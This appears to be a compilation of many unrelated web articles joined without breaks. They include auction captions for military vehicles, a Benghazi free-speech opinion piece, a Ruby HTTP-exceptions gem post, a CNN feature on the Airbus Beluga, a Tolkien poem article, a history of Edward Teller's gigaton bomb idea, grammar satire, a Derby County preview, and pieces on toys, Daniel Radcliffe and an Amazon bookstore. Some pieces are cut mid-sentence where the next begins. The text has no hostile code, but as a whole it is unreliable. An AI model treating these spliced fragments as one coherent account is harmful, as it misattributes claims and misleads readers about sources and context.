The Soviet 8K11 Surface-to-Surface Missile (designated as the SCUD-A in the West), was a 42-ton mobile short-range ballistic missile loosely based on the German V-2. The nuclear-capable SCUD-A never saw combat. ($345,000)
This M5 Stuart Tank, serial number 610, was built in September 1942 by Cadillac in Detroit. 1,470 M5's were made by Cadillac in 1942, first seeing combat that year in Africa. ($310,500)
The German Sd.Kfz. 7 half-track is one of the rarest vehicles in the collection. With more than 12,000 built between 1934 and 1944, the truck was used to tow medium artillery while providing for bench seating for 11 gun-crew members. It could tow up to 17,600 pounds. ($1,207,500)
This M37 105-mm Howitzer Motor Carriage was built in October 1945 by the American Car and Foundry. It was used as a training vehicle at Fort Knox until the mid-50s, and, after a complete restoration, the auction house says this M37 is the best in existence. M37's saw heavy service with U.S. Army field artillery units in the Korean War. ($195,500)
The British 72-ton FV214 "Conqueror" Heavy Tank was built in 1952 to counteract the Soviet IS-3 Stalin heavy tank. Equipped with a 120-mm L1 Riffled Cannon, the commander could acquire and range a target independently of his gunner, allowing for faster firing. ($287,500)
This M4A3(75) Sherman Medium Tank was built by Ford in October 1942. None of the 1,690 units built by the company were deployed overseas initially, but they ended up seeing action as replacements following heavy losses after the Battle of the Bulge. ($299,000)
The American M16 Multiple Gun Motor Carriage Anti-Aircraft Half-Track carried the M45 turret with four.50-cal heavy machine guns. While mainly designed as an anti-aircraft weapon, it was highly effective against ground targets and were very popular in the Korean War. ($201,250)It’s understandable why people on both sides are so worked up over the investigations and queries about the attack on the Benghazi embassy, and where the president was, and so forth and so on. But what ought to shock us all is how little attention is being paid even yet to the fact that the Administration not only obviously* manufactured the story that the attack was somehow sparked by a YouTube video, but responded to this supposed cause by tracking down an American-based filmmaker and finding a pretext for throwing him in jail to appease those who were supposedly outraged. Whatever one thinks about the attack on the embassy itself, or the State Department’s or military’s response to it, the true scandal here is that the American government, in blatant violation of the First Amendment and a tradition of free speech that stretches back almost half a millennium, found a political pretext whereby to punish a man who produced a public statement that (allegedly) upset people.
And if the Administration actually did believe the attack had been sparked by that video, that only makes its behavior all the more deplorable.
We in the west are now growing so accustomed to self-censorship and cowardice that, as Mark Steyn notes, we can hardly imagine expressing the bold defiance we expressed only twenty years ago. And it’s not just here. In Britain a few weeks ago, a political candidate was arrested for uttering an offensive speech—i.e., quoting Winston Churchill. But Britain’s protections for free speech have always been less absolute than those provided under our Constitution. The Obama Administration—charged with upholding that Constitution and defending the right of all Americans to utter, publish, and broadcast their opinions no matter how unpopular or offensive—sought instead to defuse a conflict with the Islamic world, not by standing up for free speech, but by tracking down a movie maker and searching for a barely plausible excuse to imprison him. Is there any doubt what this Administration would have done to Rushdie had it been him?
There was a day when liberals would have been the most infuriated by such conduct. They once fought brave battles for the right to express even the most outrageous opinions, no matter what snarling theocrats and reactionary brutes might threaten. But today, they’ve circled the wagons around the Administration to such a degree that they cannot even bring themselves to pretend that they cherish the values of free speech for which they once sacrificed so much.
*-At a reader's suggestion, I've removed my claim that the Innocence of Muslims excuse was obviously counterfeited by the Administration, though I still think it most likely.Rainforest is built on open source and we’ve been doing our best to contribute back to it. I extracted Http::Exceptions from the main Rainforest application, since it’s a pain that we spent a lot of time dealing with and we figured it could be useful for the broader community.
Click here to check it out on GitHub.
Sometimes small things can end up being a huge time saver and lead to significantly safer and cleaner code – I hope you find it as useful as we do!
What is it for?
If you’re using a library such as the excellent HTTParty, you still have to deal with various types of exceptions. In an ideal world, the return code of the HTTP request would be the sole indicator of failures, but HTTP libraries can raise a large number of exceptions (such as SocketError or Net::ReadTimeout ) that you need to handle.
Http::Exceptions provides an easy way to rescue exceptions that get thrown by your HTTP library and a way to raise exceptions on unexpected HTTP status codes.
Http::Exceptions converts any error that might be raised by your HTTP library and wrap it in a Http::Exceptions::HttpException. This results in much easier to understand and more robust code.
Let’s look at some examples:
Only rescue raised exceptions:
ruby response = Http::Exceptions.wrap_exception do HTTParty.get "http://www.google.com" end
Raise an exception is the return code of the API call is not 2XX :
ruby response = Http::Exceptions.wrap_and_check do HTTParty.get "http://www.google.com" end
You can then rescue the exception in the following way:
ruby begin response = Http::Exceptions.wrap_and_check do HTTParty.get "http://www.google.com" end rescue Http::Exceptions::HttpException => e end end
Support
Currently, this only has been tested with HTTParty. It should however work with any library that delegates to the ruby http library.
Enjoy!(CNN) — The world's strangest looking airplane is celebrating the 20th anniversary of its first flight this month.
Popularly known as the "Beluga," because of its resemblance to the white Arctic whale, the Airbus A300-600ST (ST stands for Super Transporter) is unique not only in appearance, but also for the essential role it performs in European aviation.
Today, more than 60 flights are performed each week between 11 sites, carrying parts for all of the Airbus programs.
So what's so special about this odd-looking aircraft?
Here's an in-depth look at the A300-600ST.
From guppies to belugas
Airbus' production centers are scattered all over the continent, a legacy of its origins as a pan-European consortium.
Each factory specializes in the completion of a specific section of an aircraft.
The five Belugas, all operated by Airbus, link these plants and take the different aircraft sections to the final assembly line, either in Toulouse or Hamburg.
Until the mid-1990s, Airbus used another funny-looking aircraft to perform its big transporting jobs -- the "Super Guppy," a derivative of the Boeing C-97, a military cargo version of the 1940s Boeing 377 Stratocruiser.
The Super Guppy was already outdated by the time Airbus started using it.
Worse was the fact that Airbus was relying on a couple of old aircraft from its chief rival, Boeing, to handle the bulk of its logistics chain.
If it was to keep up with its frantic growth, Airbus concluded it needed something better.
The airframe chosen for the job was taken from the Airbus A300-600, an aircraft that already had a successful track record with airlines such as Lufthansa, Air France and American Airlines.
The Beluga is operated by a crew of three: two pilots and a loadmaster. Miquel Ros/CNN
Each of the five Belugas in operation are, actually, Airbus A300-600 jets that have been modified to carry large cargo.
The top section of the aircraft was cut and an additional, wider fuselage section -- resembling a bubble -- was added to the airframe, giving it its characteristic hump.
The cockpit was lowered, making it possible for the cargo hold to be loaded and unloaded through the front of the aircraft.
The result is an incredibly spacious cargo hold.
Although the Beluga's maximum payload of 47 tons is surpassed by a handful of other cargo aircraft, its voluminous hold makes it suitable for transporting oversized, but not particularly heavy, cargo. Like aircraft parts.
The Beluga can carry the wings of an A340 airliner or a fuselage section for Airbus' newest wide-body aircraft, the A350
But it's not large enough to transport many A380 super jumbo parts.
Those need to travel by boat, barge and road.
Belugas have occasionally been chartered to fly satellites, helicopters and even works of art.
Delacroix's "Liberty Leading the People" flew from Paris to Tokyo on a Beluga -- the canvas wouldn't fit into any other plane.
The Beluga transported this container holding a five-meter-high Egyptian statue from Berlin to Paris. JOHN MACDOUGALL/AFP/Getty Images
Coming up: Beluga XL
With the Beluga hitting two decades of indefatigable service, it's starting to show its age and limitations.
Since the Beluga's maiden flight on September 13, 1994, Airbus has multiplied aircraft deliveries by nearly five.
The company has become more global, diversifying its supplier base and opening assembly plants in China and Alabama -- well outside the Beluga's relatively short range of |
from the Tolkien we think we know”.
It is derived, said Flieger, “from a well-known folkloric tale-type of the human who strays into the Faerie world and who pays the price, such as the ballads of Tam Lin and Thomas Rhymer”. Although there are Irish and Welsh versions of the story, she says that Tolkien’s version is closest in subject matter to the Breton ballad Lord Nann and the Corrigan, which the author owned a copy of.
With a flurry of “new” works by Tolkien released over the last decade, from 2007’s Middle-earth story The Children of Hurin, to the 2014 release of his translation of Beowulf, The Lay of Aotrou and Itroun “is worthy of publication now for several reasons”, said Flieger. “First, it is a fine example of Tolkien’s poetic power and his ability to handle different verse forms – in this case the octosyllabic rhyming couplets of French romance, which he also used for The Lay of Leithian from his own legendarium.” The Lay of Leithian is a long poem telling the story of Tolkien’s Middle-earth characters Beren and Lúthien.
The Lay of Aotrou and Itroun, said Flieger, vividly shows the author’s interest “in paganism and in the dark side of what he called Faerie, the perilous realm or Otherworld of enchantment.” She said it will also give Tolkien’s readers “his most developed example of a folklore archetype I will call The Dark Lady, the beautiful but malevolent fay or fairy who preys upon humans, and thus foreshadows his Guinevere, described as ‘fair as fay-woman in the world walking for the woe of men’.”
In his JRR Tolkien: Author of the Century, Tom Shippey writes that the poem is animated by the question of how far a believing Christian could go “in dealings with pre- or non-Christians”. While the poem is derived from a late Breton ballad, he writes, “what seems original to Tolkien is the poem’s stern morality”, because in Tolkien’s version the death of Aotrou “is deserved, or at least prompted by [his] attempt to sway Providence by supernatural forces”.
“Aotrou’s sin lay not in submitting to the Corrigan,” he writes. “It lay in having any dealings with her at all.”The scientist Edward Teller, according to one account, kept a blackboard in his office at Los Alamos during World War II with a list of hypothetical nuclear weapons on it. The last item on his list was the largest one he could imagine. The method of “delivery” — weapon-designer jargon for how you get your bomb from here to there, the target — was listed as “Backyard.” As the scientist who related this anecdote explained, “since that particular design would probably kill everyone on Earth, there was no use carting it anywhere.”
Teller was an inventive, creative person when it came to imagining new and previously unheard-of weapons. Not all of his ideas panned out, of course, but he rarely let that stop his enthusiasms for them. He was seemingly always in search of a bigger boom. During the Manhattan Project, he quickly tired of working on the “regular” atomic bomb — it just seemed too easy, a problem of engineering, not physics. From as early as 1942 he became obsessed with the idea of a Super bomb — the hydrogen bomb — a weapon of theoretically endless power.
(One side-effect of this at Los Alamos is that Teller passed much of his assigned work on the atomic bomb off to a subordinate: Klaus Fuchs.)
It took over a decade for the hydrogen bomb to come into existence. The reasons for the delay were technical as well as interpersonal. In short, though, Teller’s initial plan — a bomb where you could just ignite an arbitrarily long candle of fusion fuel — wouldn’t work, but it was hard to show that it wouldn’t work. Shortly after abandoning that idea more or less completely, Teller, with the spur from Stan Ulam, came up with a new design.
The Teller-Ulam design allows you to link bombs to bombs to bomb. John Wheeler apparently dubbed this a “sausage” model, because of all of the links. Ted Taylor recounted that from very early on, it was clear you could have theoretically “an infinite number” of sub-bombs connected to make one giant bomb.
The largest nuclear bomb ever detonated as the so-called “Tsar Bomba” of the Soviet Union. On 1961, it was exploded off the island of Novaya Zemlya, well within the Arctic Circle. It had an explosive equivalent to 50 million tons of TNT (megatons). It was only detonated at half-power — the full-sized version would have been 100 megatons. It is thought to have been a three-stage bomb. By contrast, the the largest US bomb ever detonated was at the Castle BRAVO test in 1954, with 15 megatons yield. It was apparently “only” a two-stage bomb.
We usually talk about the Tsar Bomba as if it represented the absolute biggest boom ever contemplated, and a product of unique Soviet circumstances. We also talk about as if its giant size was completely impractical. Both of these notions are somewhat misleading:
1. The initial estimate for the explosive force of the Super bomb being contemplated during World War II was one equivalent to 100 million tons of TNT. As James Conant wrote to Vannevar Bush in 1944:
It seems that the possibility of inciting a thermonuclear reaction involving heavy hydrogen is somewhat less now than appeared at first sight two years ago. I had an hour’s talk on this subject by the leading theoretical man at [Los Alamos]. The most hopeful procedure is to use tritium (the radioactive isotope of hydrogen made in a pile) as a sort of booster in the reaction, the fission bomb being used as the detonator and the reaction involving the atoms of liquid deuterium being the prime explosive. Such a gadget should produce an explosion equivalent to 100,000,000 tons of TNT.
Teller was aiming for a Tsar Bomba from the very beginning. Whether they would have supported dropping such a weapon on Hiroshima, were it available, is something worth contemplating.
2. Both the US and the USSR looked into designing 100 megaton warheads that would fit onto ICBMs. The fact that the Tsar Bomba was so large doesn’t mean that such a design had to be so large. (Or that being large necessarily would keep it from being put on the tip of a giant missile.) Neither went forward with these.
But remember that the original Tsar Bomba was actually tested at 50 megatons, which was bad enough, right? Both the US and the Soviet Union fielded warheads with maximum yields of 25 megatons. The US Mk-41, of which some 500 were produced, and the Soviet SS-18 Mod 2 missiles were pretty big booms for everyday use. (The qualitative differences between a 50 megaton weapon and a 25 megaton weapon aren’t that large, because the effects are volumetric.)
3. Far larger weapons were contemplated. By who else? Our friend Edward Teller.
In the summer of 1954, representatives from Los Alamos and the new Livermore lab met with the General Advisory Committee to the U.S. Atomic Energy Commission. Operation Castle had just been conducted and had proven two things: 1. very large (10-15 megaton or so), deliverable hydrogen bombs could be produced with dry fusion fuel; 2. Livermore still couldn’t design successful nuclear weapons.
Norris Bradbury, director of Los Alamos, gave the GAC a little rant on the US’s current “philosophy of weapon design.” The problem, Bradbury argued, was that the US had an attitude of “we don’t know what we want to do but want to be able to do anything.” This was, he felt, “no longer relevant or appropriate.” The answer would be to get very definite specifications as to exactly what kinds of weapons would be most useful for military purposes and to just mass produce a lot of them. He figured that the strategic end of the nuclear scale had been pretty much fleshed out — if you can routinely make easily deliverable warheads with a 3 megaton yield, what else do you need? All diversification, he argued, should be on the lower end of the spectrum: tactical nuclear weapons.
When Teller met with the GAC, he also pushed for smaller bombs, but he thought there was still plenty of room on the high end of the scale. To be fair, Teller was probably feeling somewhat wounded: Livermore’s one H-bomb design at Castle had been a dud, and the AEC had cancelled another one of his designs that was based on the same principle. So he did what only Edward Teller could do: he tried to raise the ante, to be the bold idea man. Cancel my H-bomb? How about this: he proposed a 10,000 megaton design.
Which is to say, a 10 gigaton design. Which is to say, a bomb that would detonate with an explosive power some 670,000 times the bomb that was dropped on Hiroshima.
If he was trying to shock the GAC, it worked. From the minutes of the meeting:
Dr. Fisk said he felt the Committee could endorse [Livermore’s] small weapon program. He was concerned, however, about Dr. Teller’s 10,000 MT gadget and wondered what fraction of the Laboratory’s effort was being expended on the [deleted]. Mr. Whitman had been shocked by the thought of a 10,000 MT; it would contaminate the earth.
The “deleted” portion above is probably the names of two of the devices proposed — according to Chuck Hansen, these were GNOMON and SUNDIAL. Things that cast shadows.
The Chairman of the GAC at this time, I.I. Rabi, was no Teller fan (he is reported to have said that “it would have been a better world without Teller”), and no fan of big bombs just for the sake of them. His reaction to Teller’s 10 gigaton proposal?
Dr. Rabi’s reaction was that the talk about this device was an advertising stunt, and not to be taken too seriously.
Don’t listen to Teller, he’s just trying to rile you. Edward Teller: trolling the GAC. A 10,000 megaton weapon, by my estimation, would be powerful enough to set all of New England on fire. Or most of California. Or all of the UK and Ireland. Or all of France. Or all of Germany. Or both North and South Korea. And so on.
In 1949, Rabi had, along with Enrico Fermi, written up a Minority Annex to the GAC’s report recommending against the creation of the hydrogen bomb. The crux of their argument was thus:
Let it be clearly realized that this is a super weapon; it is in a totally different category from an atomic bomb. The reason for developing such super bombs would be to have the capacity to devastate a vast area with a single bomb. Its use would involve a decision to slaughter a vast number of civilians. We are alarmed as to the possible global effects of the radioactivity generated by the explosion of a few super bombs of conceivable magnitude. If super bombs will work at all, there is no inherent limit in the destructive power that may be attained with them. Therefore, a super bomb might become a weapon of genocide.
If that doesn’t apply to a 10,000 megaton bomb, what does it apply to?
Was Teller serious about the 10 gigaton design? I asked a scientist who worked with Teller back in the day and knew him well. His take: “I don’t doubt that Teller was serious about the 10,000 MT bomb. Until the next enthusiasm took over.” In this sense, perhaps Rabi was right: if we don’t encourage him, he’ll move on to something else. Like hydrogen bombs small enough to fit onto submarine-launched missiles, for example.
It’s hard not to wonder what motivates a man to make bigger and bigger and bigger bombs. Was it a genuine feeling that it would increase American or world security? Or was it just ambition? I’m inclined to see it as the latter, personally: a desire to push the envelope, to push for the bigger impact, the biggest boom — even into the territory of the dangerously absurd, the realm of self-parody.
Notes
Tags: 1950s, Atomic Energy Commission, Bad ideas, Edward Teller, H-bomb, Klaus Fuchs, Manhattan Project, Soviet UnionTHE ability to spot a minor grammar error is proof that you are amazing, it has been confirmed.
Researchers at the Institute for Studies found that people who loudly exclaim about apostrophes and ‘who versus whom’ are actually better than everyone else.
Professor Henry Brubaker said: “In no way are any of these people vain, arsey pedants.
“Grammar perfectionists are both intellectually and morally superior to other types of human.
“The way they selflessly dedicate themselves to correct punctuation, for example by pointing out to the staff of a chip shop why the term ‘chip’s’ is a sloppy obfuscation, confirms they are bold and righteous individuals.
“If grammar people just learned to let things go sometimes, where would we be as a civilisation? Just fighting in mud, probably.”
56-year-old Roy Hobbs said: “Heaven forbid that my scrupulous attention to linguistic detail should be driven by intellectual vanity.
“The reason I loudly vocalise my frustration about a writer confusing ‘that’ and which’ is because of my passion for good English.
“It’s not that I want a crowded room to know how clever I am.”
43-year-old pedant Mary Fisher said: “So we are ‘generally better’? Better than whom? Better is a relative term.
“But perhaps you didn’t know that.”The opening weekend of the Sky Bet Championship approaches in just a matter of days. Derby County will begin their campaign by facing Rotherham United at the iPro Stadium as strong promotion contenders.
It has certainly been a mixed pre-season for the Rams. A cloud of bitter disappointment remained after losing in the Play-Off Final to Queens Park Rangers at Wembley. It left Steve McClaren’s squad and the city subdued for weeks, carrying scars that won’t heal until we avenge such misfortune with promotion back to the Premier League. The moment Bobby Zamora’s cruel last-minute winner hit the back of the net still plays over and over in our minds. While a very entertaining World Cup was happening in Brazil which presented another inevitable disappointing England show, fans were warned by Sam Rush and John Vicars to be patient over the chase of influential holding midfielder George Thorne. His time on loan had such a defined impact on our performances not to mention some wondrous strikes. There was angst over Derby as Thorne’s parent club West Bromwich Albion responded to our interest with resolute stubbornness. They were insistent he was part of their club’s future. George’s own desire was to be in the East Midlands where he had clearly enjoyed his time rather than in the West Midlands where he wasn’t guaranteed a first team place.
At the same time another concern was the possibility of losing talismanic players. Will Hughes remained to be the focus of colourful rumours linking him with a move to Liverpool. More worrying was Craig Bryson being in talks with Burnley. The Scot had become a fans’ favourite after an excellent season which saw him score a hat-trick firstly against Millwall at the New Den, an accolade that hadn’t been seen in a Derby County shirt for seventeen years. Then for the first time since the divinely regarded Steve Bloomer did in the nineteenth century, Bryson knocked in another hat-trick in a 5-0 victory over rivals Nottingham Forest. This historic feat helped to accumulate a strong tally of 16 goals. To lose him to a club who had pipped us to automatic promotion would have broken thousands of hearts. The erratic nature of social media led us at one point in early July to think that the worst had come to worst; the Rams number 4 had made a move to Lancashire and George Thorne would reluctantly remain in the Black Country. Speculation even stated we would have to choose between one and the other due to constraints on the wage bill.
Eventually, Will Hughes put pen to paper on a new deal. Concrete was the fact that we wouldn’t lose one of our most talented young players cheaply. Only a day after a fresh new Umbro kit was revealed, Bryson signed a new contract. A huge sigh of relief was heard from those constantly refreshing their Twitter feeds for announcements. Bryson’s commitment to the club even in the light of Premiership interest shows how privileged we are to have a player in this modern age as gracious as this. He clearly loves the club and will remain in black and white. Towards the end of the same week the signing of George Thorne was finally announced. In addition other favourites Jake Buxton, Craig Forsyth and Mason Bennett pledged their future here. The virtue of Rush and Vicars’ humility and business acumen had prevailed.
Less than a week later however, the worst news imaginable was heard. As the Rams squad travelled to Austria on a training tour, an enigmatic match against Zenit St. Petersburg was hosted. This was a team who had made it to the last sixteen of the Champions League and were comprised of big names. The Rams lost the friendly by two goals to nil, with a goal from Axel Witzel quintessential in terms of their edge in quality. During the first half, Thorne had been taken off injured. Most did not think much of it and assumed it was a precautionary measure after taking a knock. But it wasn’t. As had happened eighteen months before, Thorne tore his anterior cruciate ligament. This required prompt surgery and nine months on the side lines. Such horrible luck for a club to lose a player whose signing was made with such excitement.
Devastating: Days after Rams land the man they wanted his ACL is torn.
The devastating news of this injury can barely be described but again it is something we must accept. In my best effort to think positively, Thorne will likely return to the eleven at the business end of the season in similar context to which he arrived on loan last season. His presence will be missed but we do have John Eustace to fill the defensive midfield duties. Realistically though, a player at his age will struggle to meet the required level of running in this central role. This leaves us with a quandary of whether or not our existing players can rise to the occasion or if we need to bring in a player on loan. Jeff Hendrick’s slightly better physique could put him in line but it is more feasible that Will Hughes, with his calm passing and willingness not to shy away from tackles, can complement his attributes into the vacancy we never expected to have. Although as I write this, the signing of Real Madrid’s midfielder Omar Mascerall on loan could either be intended as either a shoehorn into this gap or a replenishment to attacking presence as either Hughes or Hendrick is moved slightly back. The latter is more probable as Hughes played the holding role in the home friendly against Rangers. Many will scrutinise this as it may inhibit Hughes’ liberty to make mazy attacking runs.
In further welcomed press statements, the club were pleased to announce Category 1 Academy status, meaning our youth squads will have the opportunity to face Premiership counterparts. New faces to the reserves include Ivan Calero, Shaquille McDonald and Alefe Santos. By bringing in youngsters from Spain and as far away as Brazil it is clear that our coaching staff want to add some vibrancy to our Rams in waiting and expand our scouting network worldwide just as top flight clubs would.
Both our roster and formation will change this season which means achieving promotion might not be as much of an easy task as the book makers have made a premonition. The loss of loanee Andre Wisdom at right back means new signing Cyrus Christie has big shoes to fill. He is thought to be more of an attacking full-back similar to Craig Forsyth. Patrick Bamford, who contributed both sensational and imperative goals, must return to his parent club Chelsea. This week’s addition of Leon Best from Blackburn gives us a player who can score necessary goals, shown aptly with his late goal against us in the opening game of last season. His drafting in may connote that McLaren is flexible to change our arrangement to 4-4-2 at times. It will also ease pressure off Chris Martin who was so prolific with his 20 goals last season.
Down the A52, Forest appear to be in dire straits yet again, selling ‘keeper Karl Darlow and defender Jamaal Lascelles to Newcastle for a mere £7m in desperation to meet Financial Fair Play parameters. Suspicion would suggest this is a fig leaf as the Reds are believed to be throwing a whopping £5.5m on Peterborough’s Britt Assombalonga and £1.5m on Mikhael Antonio. A frank interview with Stuart Pearce on East Midlands Today revealed the sales were done behind his back. As an organised ownership at Pride Park practises great business it seems there is major a discord behind the scenes at the City Ground, which is rumoured to be renamed.
Shell-shocked: Will Richard Keogh be the same solid centre-back after Wembley heartbreak?
To wrap up the pre-season, it began with much apprehension then moved on to deafening silence with the sombre prospects of losing our best player. Thankfully towards the end Messrs McClaren, Rush and Vicars showed their nous as by not only tying our well-known talents down to contracts. They got the man they always wanted as well as another experienced forward. Those of you who read Twitter and sub-par blog posts like this will know there has been a lot talked about and as much typed but now we simply can’t wait to see a ball being kicked. We prepare to face Rotherham United on Saturday. The Millers are newly promoted and most will expect no difficulty in dispatching the South Yorkshire side. There are questions though. Will promotion be as easy as first estimated given the improvement of strong rival teams such as Wigan Athletic as well as the welcoming of Norwich, Fulham, Cardiff and Wolves? These teams are automatic promotion specialists and could stand in our way. Will centre-back and Captain Richard Keogh recover psychologically after his mistake in front of the 85,000+ crowd at Wembley? He has looked worryingly short of confidence in pre-season. Will our free-flowing formation be worked out by opposition teams? They may use physicality as a cynical stumbling block. These questions will instigate much debate but regardless of whether or not my concerns raised have any legitimacy, getting promotion will be a tough test of our calibre. We will have to show how we can cope in such adversity and outrageous fortune. Steve McClaren is an experienced manager who has the knowledge to achieve our goal though. We will just have to wait and see. Bring on 3pm on Saturday.Corporate chief executives who have been disappointed in the Obama administration are suddenly singing a different tune.
Ivan Seidenberg, the Verizon CEO who just months ago criticized President Obama’s policies as a threat to business, on Wednesday said Obama “has shown a willingness to learn.”
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“The things that occurred in the past of couple days are extraordinary,” Seidenberg, chairman of the Business Roundtable, told a Washington news conference on Wednesday.
Seidenberg was remarking on the White House’s embrace of a huge tax package and progress on a trade deal with South Korea that had been stalled for years. Both measures give business a chance to increase profits through lower taxes and crumbling trade barriers.
While the tax deal has set off a war within the Democratic Party, the White House insisted Wednesday that the package would create as many as 2 million more jobs in the next two years.
The package would “provide certainty” to small businesses and corporations that have been worried about possible tax hikes, said Tom Collamore, senior vice president of communications for the U.S. Chamber of Commerce, the business lobby that has battled the White House for much of the past two years.
The nation’s largest business lobby said it will do everything it can to help the White House win approval for the tax package. The Chamber is also starting to talk about how it can help Obama sell the U.S.-South Korean trade deal to Congress.
Collamore said the idea of the Chamber co-writing a joint op-ed with an administration official highlighting the merits of the trade deal was floated on Wednesday morning.
After two years of playing defense, business is now on the same side as Obama in two huge economic debates.
And there could be more to come. One business official said immigration, education reform and infrastructure spending, to name just three topics, are all areas where Obama and business will have reason to cooperate.
The tax and trade deals seem to have opened a new chapter in Washington for business and the White House.
The Chamber, for example, fought with Obama over climate change, the healthcare reform bill and the financial regulatory overhaul. It spent millions to elect Republican congressional candidates in the midterm elections.
That acrimonious chapter is now over, one business source said.
A White House criticized as anti-business could benefit from the new spirit of cooperation, which comes after what Obama described as a “shellacking” of Democrats in the midterm elections.
Obama is looking to entice independent voters who backed him in 2008 to support his reelection in 2012. While the Chamber does not engage in presidential politics and will offer no endorsements, it doesn’t hurt to be working on the side of business.
The White House is clearly interested in touting its business bona fides, as shown by the release of dozens of testimonials touting the South Korean deal from major trade association heads and Fortune 500 chief executive officers, such as Ford CEO and President Alan Mulally and Boeing Chairman and President Jim McNerney.
A statement from GE CEO Jeff Immelt was particularly notable.
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Immelt made huge waves over the summer when The Financial Times reported that he described Obama as “anti-business” during a dinner with Italian executives. Immelt, who supported Obama for president, warned of excessive regulations and said the U.S. was becoming a “pathetic” exporter. GE later said the comments were taken out of context.
On Friday, Immelt congratulated the administration on the Korean deal, which he said would promote U.S. economic and strategic engagement in Asia. “We applaud the conclusion of the agreement and urge Congress to ratify it,” he said.
The honeymoon between business and the White House will not last forever.
Just a few weeks ago, Chamber President Tom Donohue warned of a “regulatory tsunami of unprecedented force” that had been unleashed by the government on business. He promised the Chamber would add significant resources to stem the tide.
Seidenberg sounded a similar note on Wednesday, warning of environmental regulations that could stifle growth.
But for the moment, one business source said, the two sides have a window to work together.
Working with business on the tax package and trade deal “certainly helps them,” this source said of a White House that has been perceived as antagonistic to business.Please turn on JavaScript. Media requires JavaScript to play. The US manufacturer of one of the UK's best-selling toys this Christmas has insisted the product is safe. Cepia rejects claims from US consumer organisation GoodGuide that a chemical found on one of its Go Go Hamsters toys was at possibly dangerous levels. The firm also said that the Mr Squiggles toy had passed "the most rigorous testing in the toy industry". GoodGuide had alleged that the toy had more than the allowed level of the metal antimony. Professor Dara O'Rourke, from GoodGuide, said antimony "has potential health hazards related to it which, if ingested in high enough levels can lead to cancer, reproductive health and other human health hazards". I have been in the toy industry for more than 35 years, and being a father of children myself, I would never allow any substandard or unsafe product to hit the shelves
Russ Hornsby, Cepia The £9.99 battery-powered furry toy - which whizzes about the floor and squeaks when its nose is poked - has been one of the most in-demand children's gifts in the UK this Christmas, with several major retailers reporting shortages. Character Options, the UK distributor of Go Go Pets - made in China and sold worldwide as Zhu Zhu Pets - also said the popular toy is safe and has been tested and passed by all relevant safety standards. Russ Hornsby, the chief executive officer of Cepia said: "We are disputing the findings of GoodGuide and we are 100% confident that Mr Squiggles, and all other Zhu Zhu Toys, are safe and compliant with all US and European standards for consumer health and safety in toys. "We are contacting the GoodGuide people at this moment to share with them all of our Mr Squiggles and Zhu Zhu Pet testing data so we can get to the bottom of how their report was founded." 'Safety ratified' Mr Hornsby said he wanted to assure anyone thinking of buying either the Mr Squiggles toy or any other of its Zhu Zhu Pet range that the toys are "100% safe and in compliance with all US and European toy safety standards. "I have been in the toy industry for more than 35 years, and being a father of children myself, I would never allow any substandard or unsafe product to hit the shelves. That's why we always test to not only meet but also exceed safety standards." The Go Go Hamsters toy is proving to be popular among children In addition, Character Options said that as part of its standard due diligence, the toy has been tested on three separate occasions by the company's own safety experts and found to fully comply with all EU standards. Jon Diver, managing director for Character Options, said: "Character Options is confident that Mr Squiggles and all the toys in the Go Go Pets collection are completely safe. "The pets are tested in independent accredited laboratories during the manufacture and again before shipment through our own internal diligence programme. Their safety has always been ratified." The company said that the toy had been further tested on three separate occasions by its own safety experts and also said it was found to fully comply with all EU standards. As well as Mr Squiggles, there are three other models of the toy pet - Chunk, Num Nums and Pipsqueak.
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StumbleUpon What are these? E-mail this to a friend Printable versionOnce again, Daniel Radcliffe demonstrates that he's one of the smartest actors out there, and best advocates for LGBT rights. In an Attitude magazine cover story which I picked up on the iPad, Radcliffe talks at length about anti-gay bullying and why straight kids should show their support. He also has good taste in men.
Says Radcliffe:
"Don't define yourself by your sexuality, don't define as straight or gay, define yourself as people and help another person if they're in trouble. The ultimate reason gay marriage should be legalized everywhere is because, as a kid, you look to your mum and dad and they're married, then you look at the gay couple who've been together for the same amount of time, but because they can't get married their relationship doesn't seem the same. Yes, gay marriage is about symbolically blessing a relationship, but the larger issue is about transmitting a fundamental message about equality. Gay people should have equality in law everywhere. If you grow up as a young gay man knowing you dont' have the same opportuniteies as everyone else, you're going to feel victimised and massive prejudice towards you."
Radcliffe slammed religion's influence on schools and the religious Right's efforts to affect legislation affecting LGBT people:
"I'm not religious, I'm an atheist, and a militant atheist when religion starts impacting on legislation. We need sex education in schools. Schools have to talk to kids from a young age about relationships, gay and straight."
The article notes that Radcliffe has been "disgusted, amazed, stunned" by GOP candidates like Rick Santorum and Michele Bachmann, and their open hostility to gay rights. But he has a special dislike of one in particular:
"…they disgusted me less than candidates like Rick Perry, who made that ridiculous advert wearing 'the Brokeback jacket', and I think pretend to be homophobic just to win votes."
Radcliffe also says he wishes Obama could come out for marriage equality but understands the political underpinnings behind his position:
"Yes, I do, but can he really? Of course he's in favour of it, but he has to be careful about saying so. I'd rather have someone like him in the White House than the alternative."
Finally, has Radcliffe ever considered that he might be gay? Yes. Is he?
"No. I can quite happily say someone is handsome, good-looking, and I can see why someone would want to f**k them, but I've never felt that way about a man myself. There is that moment in your late teens when you ask yourself the question, 'Am I?' but I wasn't…Well, this year I have a talent crush on Ryan Gosling. I think he's fantastic and…(ahem) you know he'd be nice afterwards. He seems smart. If I was gay, I would go for a smart man."SEATTLE — I entered Amazon's first brick-and-mortar store completely convinced it was a terrible idea. I already had a snarky headline ready in my head: "I went to the Amazon store in Seattle. It was just as dumb as you think."
Except … it wasn't. I spent about an hour in Amazon's Seattle bookstore shortly after it opened in November. And it actually made me think the store wasn't that dumb. It might even be a good idea, a thought that still gives me cognitive dissonance with Amazon's announcement Tuesday that it would build 300 more of these physical bookstores.
There are definitely dumb parts of the store, for sure, and I will happily detail those below. But my big takeaway was this: The case for the Amazon bookstore is the case for any retail store. It's a curated collection of items available for immediate purchase. If that doesn't sound revolutionary, it's because it isn't! It's how stores have worked for decades now — and why there are millions of them in perfectly good business across the country. Amazon has been a phenomenal success, but it hasn't rendered brick-and-mortar retailers obsolete. And with a big investment in Amazon bookstores, the company is acknowledging that might not be such a bad thing.
There are definitely dumb parts of the Amazon store
I didn't even mean to go to the Amazon bookstore on my trip to Seattle last November.
But I was getting lunch at Seattle's University Village — a shopping center near the University of Washington — and saw it on the walk back to my car. Since it had just opened a few days earlier, I decided to check it out.
